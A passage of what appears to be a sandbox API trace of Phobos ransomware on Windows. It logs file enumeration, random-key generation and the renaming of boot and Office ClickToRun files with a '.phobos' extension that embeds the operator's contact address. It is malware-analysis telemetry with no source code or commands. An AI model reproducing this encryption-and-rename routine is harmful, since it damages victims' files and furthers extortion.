(lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0132.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.276] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.276] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.276] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.276] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=77152) returned 1 [0132.276] CloseHandle (hObject=0x2d8) returned 1 [0132.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0132.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.276] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.277] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.277] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.277] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=63840) returned 1 [0132.277] CloseHandle (hObject=0x2d8) returned 1 [0132.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0132.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.277] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.277] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.277] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.277] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=42400) returned 1 [0132.277] CloseHandle (hObject=0x2d8) returned 1 [0132.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0132.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.277] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.278] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.278] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.278] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=63832) returned 1 [0132.278] CloseHandle (hObject=0x2d8) returned 1 [0132.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0132.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.278] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.278] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.278] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.278] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=42328) returned 1 [0132.278] CloseHandle (hObject=0x2d8) returned 1 [0132.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0132.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.278] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.279] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.279] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.279] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=63840) returned 1 [0132.279] CloseHandle (hObject=0x2d8) returned 1 [0132.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0132.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.279] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.279] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.279] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.279] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=42392) returned 1 [0132.279] CloseHandle (hObject=0x2d8) returned 1 [0132.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0132.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.279] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.280] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.280] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.280] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=395226) returned 1 [0132.280] CloseHandle (hObject=0x2d8) returned 1 [0132.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0132.280] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0132.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\bootmgr.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.281] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.281] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0132.281] ResetEvent (hEvent=0x29c) returned 1 [0132.281] SetEvent (hEvent=0x2a0) returned 1 [0132.281] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.281] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.281] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.463] ResetEvent (hEvent=0x29c) returned 1 [0132.463] SetEvent (hEvent=0x2a0) returned 1 [0132.463] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.463] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.463] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.465] ResetEvent (hEvent=0x29c) returned 1 [0132.465] SetEvent (hEvent=0x2a0) returned 1 [0132.465] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.465] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=162880) returned 1 [0132.465] CloseHandle (hObject=0x2f4) returned 1 [0132.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0132.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.465] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.466] ResetEvent (hEvent=0x29c) returned 1 [0132.466] SetEvent (hEvent=0x2a0) returned 1 [0132.466] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.466] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=656088) returned 1 [0132.466] CloseHandle (hObject=0x2f4) returned 1 [0132.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0132.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.466] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.466] ResetEvent (hEvent=0x29c) returned 1 [0132.466] SetEvent (hEvent=0x2a0) returned 1 [0132.466] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.467] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=307416) returned 1 [0132.467] CloseHandle (hObject=0x2f4) returned 1 [0132.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0132.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.467] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.467] ResetEvent (hEvent=0x29c) returned 1 [0132.467] SetEvent (hEvent=0x2a0) returned 1 [0132.468] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.468] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=2118360) returned 1 [0132.468] CloseHandle (hObject=0x2f4) returned 1 [0132.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0132.468] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0132.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.469] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0132.469] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.469] ResetEvent (hEvent=0x29c) returned 1 [0132.469] SetEvent (hEvent=0x2a0) returned 1 [0132.469] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.469] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=468696) returned 1 [0132.470] CloseHandle (hObject=0x2f4) returned 1 [0132.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0132.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.470] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.470] ResetEvent (hEvent=0x29c) returned 1 [0132.470] SetEvent (hEvent=0x2a0) returned 1 [0132.470] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.470] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=473760) returned 1 [0132.470] CloseHandle (hObject=0x2f4) returned 1 [0132.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0132.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.471] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.471] ResetEvent (hEvent=0x29c) returned 1 [0132.471] SetEvent (hEvent=0x2a0) returned 1 [0132.471] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0132.471] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=210648) returned 1 [0132.471] CloseHandle (hObject=0x2f4) returned 1 [0132.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0132.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.472] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0132.472] ResetEvent (hEvent=0x29c) returned 1 [0132.472] SetEvent (hEvent=0x2a0) returned 1 [0132.472] CryptGenRandom (in: 